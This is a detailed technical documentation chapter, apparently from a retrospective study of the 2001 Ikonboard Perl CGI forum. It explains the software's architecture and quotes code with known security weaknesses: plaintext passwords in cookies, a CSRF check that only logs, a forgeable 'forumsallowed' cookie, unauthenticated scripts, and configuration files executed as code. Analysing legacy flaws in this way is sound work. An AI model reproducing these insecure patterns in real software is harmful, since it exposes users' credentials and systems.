1. **`@INC` self-discovery** (lines 23-24). `$0` is the script's own path; the script strips the filename and prepends its own directory to the module search path, handling both `/` and `\` separators. This is how the scripts find `ikon.lib` without knowing their install path. It is a genuinely clever bit of portability engineering for 2001 and it works on both Unix and NT.

2. **The `eval` wrapper around `require`** turns a fatal "can't find ikon.lib" into a friendly HTML error, with a hint about NT paths. This is the single most common installation failure and the author clearly knew it.

3. **`$CGI::POST_MAX` and `$CGI::DISABLE_UPLOADS`** are set on every script. These are real, deliberate hardening measures -- a 150 KB POST cap and a blanket refusal to accept file uploads. Credit where due.

4. **`CGI::Carp "fatalsToBrowser"`** is the opposite: it sends Perl's die messages, including full filesystem paths, straight to the browser. It ships enabled in production on all 40 scripts.

5. **`$thisprog`** is the script naming itself, used to build self-referential links.

6. **The cookie read is the entire authentication step.** There is nothing else. `$inmembername` and `$inpassword` are pulled from cookies at line 45-46 and that is the login state for the rest of the request.

After the preamble, each script dispatches on `$action` with an if/elsif chain and builds HTML into `$output`.

---

### 3.3 `progs.cgi` -- the indirection layer

`data/progs.cgi` is a 28-line Perl fragment mapping logical roles to actual filenames:

```perl
$forumsummaryprog = "ikonboard.cgi";
$forumsprog       = "forums.cgi";
$threadprog       = "topic.cgi";
$postprog         = "post.cgi";
$registerprog     = "register.cgi";
$profileprog      = "profile.cgi";
...
$lostpasswordprog = "profile.cgi?action=lostpassword";
1;
```

Every internal link in the board is built from these variables rather than hardcoded, e.g. `<a href="$profileprog?action=show&member=$cleanmember">`. The intent is that an admin can rename scripts (to defeat automated scanners, or to fit a host's naming rules) by editing one file.

Note `$lostpasswordprog` smuggles a query string into what is nominally a filename -- the abstraction is a plain string substitution, not a real route table.

The trailing `1;` is required: these are Perl files loaded with `require`, and `require` fails unless the file returns true.

---

### 3.4 Configuration is executable code

This is the most consequential architectural decision in the entire system, and it deserves to be stated plainly:

> **Ikonboard's configuration files are not data files. They are Perl source code, generated at runtime by the application, and executed on every request.**

Four files work this way:

| File | Contents | Written by |
|---|---|---|
| `data/boardinfo.cgi` | Board name, URLs, paths, email, timezone, font sizes | `install.cgi`, `setvariables.cgi` |
| `data/styles.cgi` | ~40 color/font variables | `setstyles.cgi` |
| `data/membertitles.cgi` | Post-count thresholds -> rank names/graphics | `setmembertitles.cgi` |
| `data/progs.cgi` | Script name map | ships static |

`data/styles.cgi` is representative:

```perl
$titleback        = "#EEEEEE";
$titlefont        = "#555555";
$titleborder      = "#333333";
$menufontcolor    = "#333333";
$font             = "verdana";
$tablewidth       = "700";
...
1;
```

And `data/membertitles.cgi`, the rank ladder:

```perl
$mpostmark1 = "25";   $mtitle1 = "Newbie";          $mgraphic1 = "pips1.gif";
$mpostmark2 = "50";   $mtitle2 = "Junior Member";   $mgraphic2 = "pips2.gif";
$mpostmark3 = "100";  $mtitle3 = "Member";          $mgraphic3 = "pips3.gif";
$mpostmark4 = "150";  $mtitle4 = "Full Member";     $mgraphic4 = "pips4.gif";
$mpostmark5 = "250";  $mtitle5 = "Advanced Member"; $mgraphic5 = "pips5.gif";
$admingraphic = "pips6.gif";
$submit = "";
1;
```

(The stray `$submit = "";` is a leaked HTML form field -- `setmembertitles.cgi` writes out every submitted form parameter, including the submit button itself. Harmless, but a nice fingerprint of how these files are generated.)

`install.cgi:48-58` shows the generation pattern -- the installer literally prints Perl syntax into a file:

```perl
$filetomake = "$ikondir" . "data/boardinfo.cgi";
open(FILE,">$filetomake");
flock(FILE,2);
print FILE "$printme";
print FILE "\$dfontsize1 = \"1\"\;\n";
print FILE "\$dfontsize2 = \"2\"\;\n";
...
close(FILE);
```

**Why this matters architecturally:** it makes configuration loading free (Perl's own parser does the work, no config parser to write) and it makes every admin settings page a code generator. It also means that anything which can influence the contents of those files achieves remote code execution, and that these files must live inside `cgi-bin/` -- a directory the webserver is explicitly configured to *execute*. The `.cgi` extension on data files is not decoration; it is a deliberate trick to make the webserver refuse to serve them as text.

---

### 3.5 Templating: one placeholder, one pass

There is exactly one template file, `data/template.dat`, and it has exactly two substitution variables.

```html
<html>
  <head>
    <title>$page_title</title>

<script type="text/javascript">
function openScript(url, width, height) {
        var Win = window.open(url,"openScript",'width=' + width + ',height=' + height + ...);
}
</script>

<script type="text/javascript">
clckcnt = 0;
function clckcntr() {
clckcnt++;
if(clckcnt > 1) {
    if(clckcnt > 2) { return false; }
    alert('Processing...\n\n' + '     Thank you for your patience.');
    return false;}
return true;}
</script>

<style type="text/css">
SELECT, option, textarea, input { FONT-FAMILY:verdana,arial; ... }
a:link,a:visited,a:active {text-decoration:none; color:#990000; ...}
...
</style>
</head>

<body bgcolor="#ffffff" ...>

$ikonboard_main

</body>
</html>
```

`sub output` in `ikon.lib:834-889` performs the merge:

```perl
foreach my $line (@templatedata) {
    $line =~ s/\$page_title/$title/sg;
    if ($maintenancemode eq "y") {
        $line =~ s/\$ikonboard_main/\n$maintmodetext\n\n\n/sg;
    }
    else {
        $line =~ s/\$ikonboard_main/$output\n\n$copyright\n/sg;
    }
    print $line;
}
exit;
```

The entire page body has been accumulated as a single giant string in `$output` by the calling script; `output()` drops it into the placeholder and prints. Note the unconditional `exit` -- `output()` never returns. It is the terminal operation of every request.

Two details of interest:

- **Maintenance mode** (`$maintenancemode eq "y"`) is handled right here, swapping the body for a "down for maintenance" notice. Per `Changes.txt`, this was new in 2.1.9 and credited to LarryC.
- **The copyright block** at lines 855-866 is wrapped in comments reading `### Removing this invalidates your license. Please keep intact.` and `### Keep this program free, and leave that code intact.` -- the license enforcement mechanism is a politely-worded code comment. (See the History chapter: GBP 200 bought you the right to delete these six lines.)

The `clckcntr()` JavaScript is a double-submit guard, attached to post forms -- a pragmatic 2001 answer to users double-clicking Submit and creating duplicate posts. There is no server-side idempotency token; this is the whole defense.

**Everything else is hardcoded HTML inside Perl string literals.** Ikonboard uses `qq~...~` quoting (tilde as delimiter, chosen because tildes rarely appear in HTML) to embed large HTML blocks with variable interpolation:

```perl
$output .= qq~
<table cellpadding=0 cellspacing=0 border=0 width=$tablewidth align=center>
    <tr>
    <td width=30% rowspan=2><img src="$imagesurl/images/$boardlogo" border=0></td>
        <td valign=bottom align=right><font face="$font" color=$fontcolormisc size=$dfontsize2>
            $boardname welcomes its newest member $cleanlastregistered<br>
            ...
~;
```

This is why the scripts are so large -- `postings.cgi` is 57 KB and `setforums.cgi` is 53 KB, and the majority of both is table markup. There is no separation of logic and presentation anywhere except the outermost page shell.

---

### 3.6 The global variable soup

**No script in the distribution uses `use strict`.** Every variable is a package global in `main::`, shared freely between the calling script and all three libraries.

The consequences are pervasive:

- `sub title` (`ikon.lib:164`) does not return anything. It *assigns* to the global `$output`, and callers rely on that side effect. `sub mischeader` similarly does `$output .= ...` after itself calling `&title`.
- `sub getmember` (`ikon.lib:373`) returns nothing useful; it populates 22 globals (`$membername`, `$password`, `$membertitle`, ...) plus the `%allowedentry` hash. Calling it twice for two different members silently clobbers the first.
- `sub moderator` (`ikon.lib:270`) sets the global `$inmembmod` to `"yes"`/`"no"` and builds `$modoutput`.
- `$trash` is used as a universal discard variable in `split` assignments -- and because it's a global assigned repeatedly in one statement, e.g. `($trash, $topictitle, $topicdescription, $threadstate, $trash) = split(...)`, its final value is whatever landed last.

There is a mix of `my`, `local`, and bare globals, sometimes within the same sub -- `sub getmember` uses `my $nametocheck` but assigns to global `$filetoopen`; `sub mischeader` uses `local($misctype)`; `sub whosonline` uses `local($instruct)`. This inconsistency is one of the clearest fingerprints of multiple hands and multiple eras in the codebase.

`sub set_up_guest` (`ikon.lib:1100-1124`) exists purely to clean up after this design: when a post references a member whose file no longer exists, `getmember` leaves the previous member's globals in place, so `set_up_guest` manually blanks all 22 of them and substitutes "Deleted Member". The comment above it is honest -- `# Used to fix deleted members bug`.

---

### 3.7 Data storage: one file per entity

```
cgi-bin/ikonboard/
+-- data/
|   +-- boardinfo.cgi        <- config (Perl)
|   +-- styles.cgi           <- colors (Perl)
|   +-- membertitles.cgi     <- ranks (Perl)
|   +-- progs.cgi            <- script map (Perl)
|   +-- allforums.cgi        <- ALL forums, one pipe-delimited line each
|   +-- boardstats.cgi       <- totals (Perl)
|   +-- onlinedata.dat       <- who's online, rewritten every pageview
|   +-- hacklog.cgi          <- security log (HTML fragments)
|   +-- template.dat         <- page shell
|   +-- privacy.dat, register.dat  <- static text shown to users
|   +-- ...
+-- members/
|   +-- FieRcE_YeD.cgi       <- ONE FILE PER MEMBER, single pipe-delimited line
|   +-- Highlander.cgi
|   +-- ...
+-- messages/
|   +-- Bob_msg.cgi          <- private message inbox per member
+-- forum1/
|   +-- list.cgi             <- denormalized topic index (sort cache)
|   +-- 1.pl                 <- topic HEADER, one line, 10 fields
|   +-- 1.thd                <- the POSTS, one line each, 7 fields
|   +-- 1.mal                <- email-notify subscribers (if any)
|   +-- 2.pl  2.thd
|   +-- ...
+-- forum2/
+-- help/
```

The organizing principle is **one file per entity, one line per record, pipe-delimited fields**. Member names become filenames with spaces converted to underscores (`ikon.lib:375`, `$nametocheck =~ s/ /\_/g`).

A topic is split across two files sharing a numeric stem. `<id>.pl` holds only the topic **header** -- a single line of 10 fields (title, state, counts, first/last poster and times). `<id>.thd` holds the **posts**, one 7-field line each. This is why `rebuildLIST` can index an entire forum by opening each `.pl` and reading one line: the message bodies, which are the bulk of the data, live in a separate file it never touches. Neither extension is honest -- `.pl` files contain no Perl, and `.thd` is not a recognized type at all.

The member record, from `ikon.lib:383`, is 22 pipe-separated fields:

```perl
($membername, $password, $membertitle, $membercode, $numberofposts,
 $emailaddress, $showemail, $ipaddress, $homepage, $aolname, $icqnumber,
 $location, $interests, $joineddate, $lastpostdate, $signature,
 $timedifference, $privateforums, $useravatar, $misc1, $misc2, $misc3)
    = split(/\|/,$filedata);
```

Field 2 is the password, in plaintext. `$privateforums` (field 18) is a nested structure: `&`-separated `key=value` pairs, unpacked at `ikon.lib:385-392` into `%allowedentry` to control private forum access.

Because `|` is the record separator, it must never appear in user content -- `sub cleaninput` and friends convert it to the HTML entity `&#0124;` before storage. That single substitution is the entire integrity guarantee for the storage layer.

*(Full field-by-field specifications for every file are in the Data Formats chapter.)*

---

### 3.8 The `list.cgi` sort cache -- and the bug that ate the board

Reading every topic file in a forum just to display the topic list would be prohibitively slow, so each forum directory keeps a denormalized index at `forum<N>/list.cgi`: one line per topic, carrying the fields needed to render the listing, pre-sorted by last-post time descending.

`sub rebuildLIST` (`ikon.lib:1025-1069`) regenerates it by scanning the directory, opening every `*.pl` topic file, reading only its first (header) line, and re-sorting:

```perl
@entry = grep(/pl/,@dirdata);

foreach (@entry) {
    ($id, $tr) = split(/\./,$_);
    my $file = "$ikondir" . "forum$IN{-Forum}/$id.pl";
    open (TMP, "$file");
    flock (TMP, 1);
    ($topicid, $topictitle, $topicdescription, $threadstate, $threadposts,
     $threadviews, $startedby, $startedpostdate, $lastposter, $lastpostdate)
        = split (/\|/,<TMP>);
    close (TMP);
    if ($lastpostdate < 1000000000) { $lastpostdate = "0" . $lastpostdate; }
    $rr = "$lastpostdate|$topicid|$topictitle|...";
    push (@dat, $rr);
    }

    @sortdat = sort(@dat); undef @dat;
    @sortdat = reverse(@sortdat);
```

Note what `sort(@dat)` is doing: **the default Perl `sort` is a string comparison.** The timestamp was deliberately placed in the first field so that lexical sorting would order topics by recency -- which works perfectly, right up until the moment Unix timestamps gain a digit.

The line `if ($lastpostdate < 1000000000) { $lastpostdate = "0" . $lastpostdate; }` is the fix: zero-pad 9-digit timestamps to 10 characters so string comparison keeps matching numeric order. Without it, `"1000000000" lt "999999999"` is true and every topic posted after the rollover sorts to the *bottom* of the forum.

Unix time hit 1,000,000,000 at **01:46:40 UTC on 9 September 2001**. The `ikon.lib` in this archive is dated **8 September 2001** -- patched roughly a day ahead of the event. See the Archaeology chapter; this file is not the stock 2.1.9 release.

`rebuildLIST` is an O(topics) full-directory scan with a file open per topic, triggered on post/delete/move operations. On a large forum this was the board's dominant performance cost and a notorious source of the "disappearing threads" bug that `README.txt` and `Changes.txt` both lead with.

---

### 3.9 Concurrency: `flock` as ritual

Ikonboard calls `flock` extensively. It does not use it correctly.

`sub openFILE` (`ikon.lib:1071-1097`) is the intended abstraction:

```perl
if ($method eq 'r') {
    open ($FILEHANDLE, $filename);
    flock $FILEHANDLE, 1;              # LOCK_SH, AFTER open
    }
if ($method eq 'wr') {
    open ($FILEHANDLE, ">$filename");  # <- file is TRUNCATED here
    flock ($FILEHANDLE, 2);            # <- lock acquired after truncation
    }
```

The `>` in `open` truncates the file **immediately**, before `flock` is ever called. Two concurrent writers both truncate, then queue politely for a lock on a file they have already destroyed. The lock provides no protection for the operation it is meant to protect.

The pattern is worse in the read-modify-write cycles that make up most of the board's state changes. `sub whosonline` (`ikon.lib:475-497`) is the clearest example:

```perl
open(FILE,"$filetoopen");     # open for read -- no lock at all
@onlinedata = <FILE>;
close(FILE);

open(FILE,">$filetoopen");    # reopen for write, truncating
flock(FILE, 2);               # lock the now-empty file
... rewrite all lines ...
close(FILE);
```

The file is closed and reopened between the read and the write. Any lock held during the read is released at `close`. Two simultaneous page views race, and the loser's update is lost -- or, if the timing is unlucky, `onlinedata.dat` is left empty or half-written. This routine runs on **every page view of the entire board**, making it the highest-contention file in the system.

Elsewhere `flock(FILE, 2)` -- an *exclusive* lock -- is used on files being opened read-only, e.g. `sub mischeader` at `ikon.lib:95-98` and `sub moderator` at `ikon.lib:274-277`. This is not harmful so much as it is cargo-cult: it serializes readers unnecessarily while protecting nothing.

Also note: `flock` is unavailable or a silent no-op on several platforms of the era (notably Windows Perl builds and NFS-mounted filesystems), and none of these calls check the return value. Many boards ran with no locking at all and no way to know.

This is the mechanical root of "disappearing threads." `README.txt` opens by acknowledging it:

> This Version of IkonBoard attempts to combat the problem of disappearing threads by rewriting some of the process routines.

and `Changes.txt` credits SmileyMan with "a huge rewrite of processing routines to try and stop disappearing threads." The word *try* is load-bearing. The rewrite reduced the window; it could not close it, because closing it requires either locking that spans the whole read-modify-write cycle or a database with transactions -- and the architecture had neither.

---

### 3.10 Authentication and session model

There are no sessions. There is no session store, no session ID, no server-side login state of any kind.

The complete authentication mechanism:

1. `loginout.cgi` receives a username and password by POST.
2. It calls `&getmember($inmembername)`, which reads `members/<name>.cgi` and unpacks the plaintext password into `$password`.
3. It compares (`loginout.cgi:95`):
   ```perl
   if (($userregistered ne "no") && ($inpassword eq $password)) {
   ```
4. On success it sets two cookies (`loginout.cgi:113-114`):
   ```perl
   $passcookie = cookie(-name  => "apasswordcookie",
                        -value => "$inpassword",
   ```
5. Every subsequent request reads those cookies back (`ikonboard.cgi:45-46`) and treats the presence of a member-name cookie as proof of identity.

So: **the user's plaintext password is stored on disk, transmitted in a cookie on every request, and stored in the browser's cookie jar.** In 2001 that traffic was almost universally unencrypted HTTP. There is no `HttpOnly` flag (it did not exist yet -- IE6 SP1 introduced it in 2002), no `Secure` flag, and no expiry on the password cookie in the session case.

Authorization is carried by `$membercode` (field 4 of the member record) -- a role marker checked ad hoc in each script -- plus `$privateforums`/`%allowedentry` for per-forum access, and `sub moderator`, which determines moderator status by **string-matching the member's name against a comma-separated list of names stored on the forum record** (`ikon.lib:286-306`). Moderator identity is a name, not an ID; renaming a member silently revokes or grants moderation.

The admin center has a second, separate login in `ikonadmin.lib` (`sub adminlogin`), which is the only real privilege boundary in the system.

CSRF protection is `sub checkVALIDITY` (`ikon.lib:16-36`):

```perl
$rm = $query->request_method();
$rr = $query->referer();
if (($rm eq 'POST') and ($rr !~ /$boardurl/i)) {
    ... write an entry to data/hacklog.cgi ...
}
```

It checks that POST requests carry a `Referer` containing the board URL -- and if they don't, it **writes a log entry and allows the request to proceed anyway.** There is no `exit`, no `&error`, no branch that stops execution. It is a burglar alarm with no lock on the door.

*(All of this is analyzed properly in the Security chapter. It is described here because the session model is an architectural fact, not merely a vulnerability.)*

---

### 3.11 Presentation helpers

A cluster of subs in `ikon.lib` handle the transformation from stored text to displayed HTML:

- **`sub cleaninput` / `unHTML` / `cleanarea`** (`ikon.lib:602-649`) -- three near-identical escapers applied on *input*, differing only in whitespace/newline handling. They escape `&`, `"`, `<`, `>`, and `|`, strip HTML comments, and specially neutralize the literal string `<script>`. Content is escaped when stored, not when rendered -- an "escape on input" model, which means the stored data is already HTML and can never be safely re-emitted in a non-HTML context.

- **`sub ikoncode`** (`ikon.lib:907-959`) -- the iB-code (BBCode) renderer. ~45 sequential regex substitutions turning `[b]`, `[i]`, `[u]`, `[url]`, `[img]`, `[color]`, `[size]`, `[font]`, `[quote]`, `[code]`, `[list]`, `[hr]`, `[email]` into HTML, plus bare-URL autolinking. The `[[` -> `{{` swap at the top and its inverse at the bottom is an escaping trick to protect literal double brackets from the substitution pass. Nested `[quote]` is handled by one hardcoded two-level regex (line 919) before the general single-level case (line 920) -- depth 3 is not supported.

- **`sub doemoticons`** (`ikon.lib:582-600`) -- reads the emoticons directory on **every render**, `grep`s for `.gif`, and substitutes `:name:` for each file found. Adding an emoticon is done by uploading a GIF; there is no registry. The cost is a directory scan per post displayed.

- **`sub dateformat` / `longdate` / `shortdate` / `shorttime` / `joineddate`** (`ikon.lib:678-741`) -- timestamp formatting, with per-member timezone offsets applied as `$timedifferencevalue*3600`.

- **`sub forumjump`** (`ikon.lib:526-575`) -- builds the ubiquitous jump-to-forum `<select>`, sorting by a composite `categoryplace|category|forumname` string.

---

### 3.12 Error handling

Three mechanisms, in ascending severity:

- **`sub error`** (`ikon.lib:314-366`) takes an `&`-delimited `"$where&$errormsg"` string, renders a styled error page, and calls `output()` (which exits). Note the guessy boilerplate it appends to every error -- "Possible reasons: Password Incorrect / Username incorrect / Unregistered member" -- regardless of the actual failure.

- **`sub systemerror`** (`ikon.lib:41-84`) logs the full `%ENV` to `data/hacklog.cgi` and prints an error page that **also dumps environment variable names to the browser**, reassuring the user that "this information is only viewable by the boards administrator" while displaying it to them. Both the log and the page filter out any variable whose name matches `/password/i`.

- **`CGI::Carp "fatalsToBrowser"`** -- the backstop. Any uncaught `die` prints the Perl error, including absolute filesystem paths, to the visitor.

`sub title` contains a nice example of defensive coding at `ikon.lib:177`:

```perl
&systemerror("Possible hack attempt, the username is too long!") if length($memberfilename) > 32;
```

The author was clearly thinking about path manipulation through the username field -- this check exists because usernames become filenames.

---

### 3.13 What the architecture gets right

It is easy to read this chapter as an indictment. It shouldn't be, entirely. In the context of 2001 shared hosting, several decisions were correct:

- **Zero dependencies beyond core Perl and `CGI.pm`.** It ran on any host with Perl 5.005 and a cgi-bin. No database meant no database to pay for, provision, or be denied by your host -- and in 2001, MySQL access was an upsell that many hosts simply didn't offer. This is the single biggest reason boards like this were everywhere.
- **`POST_MAX` and `DISABLE_UPLOADS` on every script**, set deliberately and consistently.
- **`stripMETA`** is a genuine attempt at path sanitization at a time when many contemporaries did nothing at all.
- **The `@INC` self-discovery trick** makes the software genuinely portable between Unix and NT hosts without configuration.
- **The `progs.cgi` indirection** anticipates a real operational need.
- **The `list.cgi` denormalized index** is the right instinct -- it's a materialized view, and building one was the correct response to the performance problem, even if the sort key was fragile.
- **The install wizard** (`install.cgi`, 35 KB) does real environment validation: it checks that directories exist, tests writability by creating and deleting a probe file, verifies paths, and reports each check individually. That is more installation diagnostics than plenty of modern software ships with.

The architecture's failures are not failures of care. They are the failure of a model -- global-variable Perl CGI over flat files, with HTML in string literals and configuration as executable code -- that the entire industry moved away from within about four years, for exactly these reasons.

---

## 4. Script Reference

### The common skeleton

Every script except `install.cgi` and `upgrading/update_forums.cgi` is built from the same eleven-step template. Learn it once from `ikonboard.cgi` and the rest of the codebase reads as deviations:

```perl
#!/usr/bin/perl                                   # ikonboard.cgi:1
#############################################################       # :3-13
# Ikonboard v2.1 ... All files written by Matthew Mecham
#############################################################
use CGI::Carp "fatalsToBrowser";                  # :16   errors -> browser
use CGI qw(:standard);                            # :17
$CGI::POST_MAX      = 1024 * 150;                 # :18   150 KB cap
$CGI::DISABLE_UPLOADS = 1;                        # :19
$CGI::HEADERS_ONCE  = 1;                          # :20   (only 5 scripts)

eval {                                            # :22-29
  ($0 =~ m,(.*)/[^/]+,)   and unshift (@INC, "$1");
  ($0 =~ m,(.*)\\[^\\]+,) and unshift (@INC, "$1");
  require "ikon.lib";
  require "data/progs.cgi";
  require "data/boardinfo.cgi";
  require "data/styles.cgi";
};
if ($@) { ...NT full-path advice...; exit; }      # :30-34

$|++;                                             # :36

$thisprog = "ikonboard.cgi";                      # :40
$query    = new CGI;                              # :42
$action   = $query->param('action');              # :43
$inmembername = cookie("amembernamecookie");      # :45
$inpassword   = cookie("apasswordcookie");        # :46
if ($inmembername eq "") { $inmembername = "Guest"; }
else { &getmemberstime(...); &getlastvisit; }     # :49-55
# ... dispatch on $action ...
print header();
&output(-Title => ..., -ToPrint => $output, -Version => $versionnumber);
```

Three global observations that hold across the whole tree:

1. **No `use strict`, anywhere.** Every variable is a package global. `getmember()` in `ikon.lib:373` unpacks 22 fields into globals (`$membername`, `$password`, `$membercode`, ...) that then leak into any code running afterwards. `topic.cgi:404` has to explicitly `undef $membercode;` at the bottom of its per-post loop to stop the previous poster's admin status bleeding into the next post.
2. **Authentication is "compare the cookie's plaintext password to the file's plaintext password."** `getmember()` reads the pipe-delimited member file and populates `$password`; every auth check in the codebase is some spelling of `$inpassword eq $password`. Passwords are stored in cleartext in `members/<name>.cgi`.
3. **There are two, unrelated cookie namespaces.** Members use `amembernamecookie` / `apasswordcookie`. The admin center uses `adminname` / `adminpass`, set once by `admincenter.cgi:71-74` and read by every `set*.cgi`. Being logged in as a member does not log you into the admin center and vice versa.

#### `%Mode` dispatch vs. `if/elsif` chains

Five scripts use a hash-of-coderefs dispatch table introduced late in development:

| Script | `%Mode` at |
|---|---|
| `post.cgi` | :108-112 |
| `postings.cgi` | :109-116 |
| `profile.cgi` | :96-103 |
| `setforums.cgi` | :86-96 |
| `setmembers.cgi` | :71-77 |

All five follow it immediately with a fallthrough `elsif` chain for actions that need a secondary discriminator (`$previewfirst`, `$checkaction`, `$indeletepost`), then `else { &error(...) }`. Everything else in the tree uses a plain `if ($action eq "x") { ... } elsif ...` chain, sometimes hundreds of lines long inline (`messenger.cgi`, `announcements.cgi`). The `%Mode` scripts are the newest files by mtime; the split is a chronological fossil, not a design decision.

---

### Cross-reference table

| Script | Purpose | Auth level | LOC | Bytes | Date |
|---|---|---|---:|---:|---|
| **Entry points / public board** ||||||
| `ikonboard.cgi` | Board index (category -> forum list) | none | 418 | 15,343 | 2001-05-23 |
| `forums.cgi` | Topic list for one forum | none (private forums: member) | 461 | 21,312 | 2001-05-23 |
| `topic.cgi` | Thread view (posts) | none (private forums: member) | 473 | 21,956 | 2001-06-06 |
| `post.cgi` | New topic / reply / quote-reply | member (on write only) | 1056 | 45,142 | 2001-06-07 |
| `post.cgi.bak` | Broken predecessor of the above | -- | 1055 | 45,138 | 2001-06-07 |
| `postings.cgi` | Moderation: edit/lock/delete/move | moderator or admin | 1316 | 56,985 | 2001-06-07 |
| `printpage.cgi` | Printer-friendly thread dump | none (private-forum gate only) | 157 | 5,490 | 2001-05-02 |
| `newposts.cgi` | "Posts since last visit" report | member | 265 | 10,831 | 2001-05-23 |
| `search.cgi` | Keyword / username search | none | 615 | 25,866 | 2001-05-23 |
| **Membership** ||||||
| `register.cgi` | ToS gate + account creation | none | 532 | 20,905 | 2001-05-28 |
| `profile.cgi` | View profile / edit own / lost password | member (edit), none (view) | 626 | 29,407 | 2001-05-23 |
| `loginout.cgi` | Cookie login / logout | none | 199 | 7,355 | 2001-05-23 |
| `misc.cgi` | Popups: smilies, IkonCode, ICQ, AIM | **none** | 404 | 18,082 | 2001-05-23 |
| `whosonline.cgi` | Active-users table | **none** | 120 | 4,632 | 2001-05-23 |
| `ikonfriend.cgi` | Mail a topic link to a friend | **none** | 254 | 10,679 | 2001-05-23 |
| **Private messaging** ||||||
| `messenger.cgi` | PM inbox/outbox/compose/read/delete | member | 840 | 31,779 | 2001-05-23 |
| **Admin center** ||||||
| `admincenter.cgi` | Admin dashboard, install.cgi reaper | admin (`adminname` cookie) | 242 | 8,848 | 2001-06-01 |
| `setforums.cgi` | Forum + category CRUD | admin | 1233 | 53,092 | 2001-06-03 |
| `setmembers.cgi` | Member browse/edit/ban/delete | admin | 663 | 23,285 | 2001-05-02 |
| `setstyles.cgi` | Rewrites `data/styles.cgi` | admin | 426 | 20,785 | 2001-05-02 |
| `setvariables.cgi` | Rewrites `data/boardinfo.cgi` | admin | 437 | 22,324 | 2001-06-04 |
| `setmembertitles.cgi` | Rewrites `data/membertitles.cgi` | admin | 297 | 12,474 | 2001-05-02 |
| `settemplate.cgi` | Edit/preview `data/template.dat` | admin | 224 | 7,673 | 2001-05-18 |
| `setbadwords.cgi` | Edit `data/badwords.cgi` | admin | 175 | 6,928 | 2001-06-04 |
| `forumoptions.cgi` | Mass-prune a forum by age | moderator or admin | 257 | 11,238 | 2001-06-03 |
| `announcements.cgi` | Announcement list + CRUD | none (read) / admin (write) | 556 | 24,066 | 2001-05-23 |
| `viewip.cgi` | Reveal poster IP + signup IP | moderator or admin | 236 | 10,158 | 2001-05-23 |
| `checkboard.cgi` | Datafile integrity check + restore | admin | 241 | 8,480 | 2001-05-02 |
| `checklog.cgi` | View/purge `data/hacklog.cgi` | admin | 144 | 5,125 | 2001-05-02 |
| **Setup & maintenance** ||||||
| `install.cgi` | 4-step first-run installer | **none -- by design** | 740 | 35,606 | 2001-05-23 |
| `help.cgi` | User + moderator help file browser | none (user) / mod+ (admin files) | 356 | 13,568 | 2001-05-23 |
| `privacy.cgi` | Static privacy statement | none | 100 | 3,379 | 2001-05-23 |
| `upgrading/update_forums.cgi` | Regenerate `*.pl` topic stubs | **none** | 51 | -- | -- |

Auth levels in **bold** are cases where the script performs a privileged or side-effecting operation with no credential check at all. The security chapter should start there.

`data/progs.cgi` maps the logical program names used in generated links to these filenames; every `$xxxprog` variable in the source resolves through it.

---

### 4.1 Entry points / public board

These eight scripts form the read path a visitor walks: index -> forum -> thread, plus the three write/utility satellites (`post`, `printpage`, `search`) and the logged-in-only `newposts`. They share a data model rather than code: the board is a set of flat pipe-delimited files under `$ikondir`. `data/allforums.cgi` holds one line per forum; `forum<N>/list.cgi` holds one line per topic; `forum<N>/<topic>.thd` holds one line per post; `forum<N>/<topic>.pl` is a single-line cached copy of the topic's `list.cgi` row; `forum<N>/<topic>.mal` holds notify-by-mail subscribers.

Each of these scripts re-implements the same `split(/\|/, ...)` unpack of the 15-field forum record inline -- `ikonboard.cgi:204`, `forums.cgi:77` (via `getforum`), `printpage.cgi:77`, `newposts.cgi:122`, `ikonfriend.cgi:182`, `viewip.cgi:79`, `search.cgi:202`, `forumoptions.cgi:154`. `ikon.lib` provides `getforum()` (`ikon.lib:1005`) that does exactly this, and most of them don't call it.

---

### `ikonboard.cgi`

**15,343 bytes * 2001-05-23 * 418 LOC**

**Purpose.** The board index: announcement teaser, category-grouped forum table, active-user summary.

**User-facing surface.** One page. Emits a five-column table (`:100-124`) with a `>> Category` header row per category (`:232`) and a row per forum, plus an announcement block if `$announcements eq 'yes'` (`:128-189`) and an active-users footer (`:316-341`).

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `resetall` | Marks *every* forum read: builds a `<forumid>-<time>--...` string over all forums and writes it to both the persistent `lastvisit` (+30d) and session `templastvisit` cookies (`:57-79`) | none |
| *(none / anything else)* | Render the index | none |

**Auth required.** None. `resetall` mutates only the caller's own cookies, so the absence of a check is harmless.

**Files read.** `data/allforums.cgi` (`:58`, `:195` -- opened twice, once per branch), `data/boardstats.cgi` (`require`d at `:85`), `data/news.cgi` (`:146`).
**Files written.** None (cookies only).

**Notable subs defined locally.** None. This is the only non-trivial public script with zero local subs.

**Anything odd.**
- `:92` truncates `$lastregisteredmember` to 20 chars if `length > 19` -- an off-by-one that silently shortens exactly-20-character names.
- `:242` emits `</b>$posts</b>` -- a stray closing tag with no opener, present since the file's first revision.
- The `resetall` branch (`:57-79`) prints its `header()` and then falls through to the index render, which prints *another* `header()` at `:406`. Only `$CGI::HEADERS_ONCE = 1` (`:20`) makes this legal. `ikonboard.cgi` is one of only five scripts that set it (the others: `announcements`, `privacy`, `register`, `search`).
- `:216-229` builds `$modout` for the moderator byline; the first N-1 links get an absolute `$boardurl/` prefix and the last one gets a relative link (`:223` vs `:225`). Cosmetic inconsistency, visible in the HTML source of every real board.

---

### `forums.cgi`

**21,312 bytes * 2001-05-23 * 461 LOC**

**Purpose.** Paginated topic list for one forum, plus the private-forum access gate.

**User-facing surface.** Header/breadcrumb block, "multiple pages" nav, a four-column topic table with hot/new/locked icons, a legend footer, and -- for `ad`/`mo` only -- a "Prune Forum" link (`:376-386`). Private forums with no clearance render the login form from `&accessneeded` instead.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `accessrequired` | Private-forum login. Re-reads `membername`/`password` from the form, calls `getmember`, and if the member is registered **and** `$allowedentry{$inforum} eq "yes"` **and** the password matches, emits a raw `Set-Cookie: forumsallowed<N>=yes` (`:80-93`) | `forum`, `membername`, `password` |
| `resetposts` | Marks this forum read (sets last-visit to `time + 10`) and 302s back to itself (`:104-111`) | `forum` |
| *(none)* | Render the topic list | `forum`, `show` (page offset), `jumpto` |

**Auth required.** None to read a public forum. Private forums are gated on the `forumsallowed<N>` cookie (`:95-99`) -- a **session cookie whose value is the literal string `yes`**, set by `print "Set-Cookie: ..."` at `:86` with no path, no expiry, and no signature. The moderator/admin "Prune Forum" link at `:376` is a display-only check; `forumoptions.cgi` re-authenticates.

**Files read.** `data/allforums.cgi` (via `getforum`), `forum<N>/list.cgi` (`:166-173`).
**Files written.** None.

**Notable subs defined locally.** `accessneeded` (`:427-461`) -- the private-forum login form, terminal (calls `&output` and never returns).

